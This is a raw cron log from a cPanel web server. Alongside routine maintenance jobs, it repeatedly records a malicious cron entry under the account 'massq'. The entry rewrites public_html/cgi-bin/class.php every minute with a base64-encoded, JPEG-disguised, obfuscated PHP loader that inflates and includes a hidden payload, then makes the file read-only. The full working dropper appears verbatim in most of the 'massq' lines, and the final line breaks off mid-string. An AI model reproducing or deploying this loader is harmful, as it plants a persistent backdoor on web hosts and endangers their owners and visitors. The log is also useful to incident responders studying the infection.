Sep  2 02:46:01 server CROND[12882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:47:01 server CROND[13267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:47:01 server CROND[13273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:47:01 server CROND[13274]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  2 02:47:01 server CROND[13277]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep  2 02:47:01 server CROND[13278]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep  2 02:47:01 server CROND[13275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:47:18 server crontab[13498]: (root) LIST (root)
Sep  2 02:47:18 server crontab[13501]: (root) LIST (root)
Sep  2 02:47:23 server crontab[13619]: (root) LIST (root)
Sep  2 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  2 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  2 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  2 02:48:01 server CROND[14497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:48:01 server CROND[14498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:48:01 server CROND[14499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:49:01 server CROND[14892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:49:01 server CROND[14891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:49:01 server CROND[14893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:50:01 server CROND[15060]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:50:01 server CROND[15061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:50:01 server CROND[15064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:50:01 server CROND[15067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:50:01 server CROND[15070]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:50:01 server CROND[15068]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:50:01 server CROND[15071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:50:01 server CROND[15072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:50:01 server CROND[15069]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 02:51:01 server CROND[15851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:51:01 server CROND[15852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:51:01 server CROND[15853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:52:01 server CROND[16001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:52:01 server CROND[16002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:52:01 server CROND[16003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:53:01 server CROND[16255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:53:01 server CROND[16256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:53:01 server CROND[16257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:54:01 server CROND[16539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:54:01 server CROND[16540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:54:01 server CROND[16541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:55:01 server CROND[16848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:55:01 server CROND[16849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:55:01 server CROND[16859]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:55:01 server CROND[16860]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:55:01 server CROND[16857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:55:01 server CROND[16861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:55:01 server CROND[16862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:56:01 server CROND[17671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:56:01 server CROND[17672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:56:01 server CROND[17673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:57:01 server CROND[18034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:57:01 server CROND[18036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 02:57:01 server CROND[18037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:57:01 server CROND[18035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:58:02 server CROND[18508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0N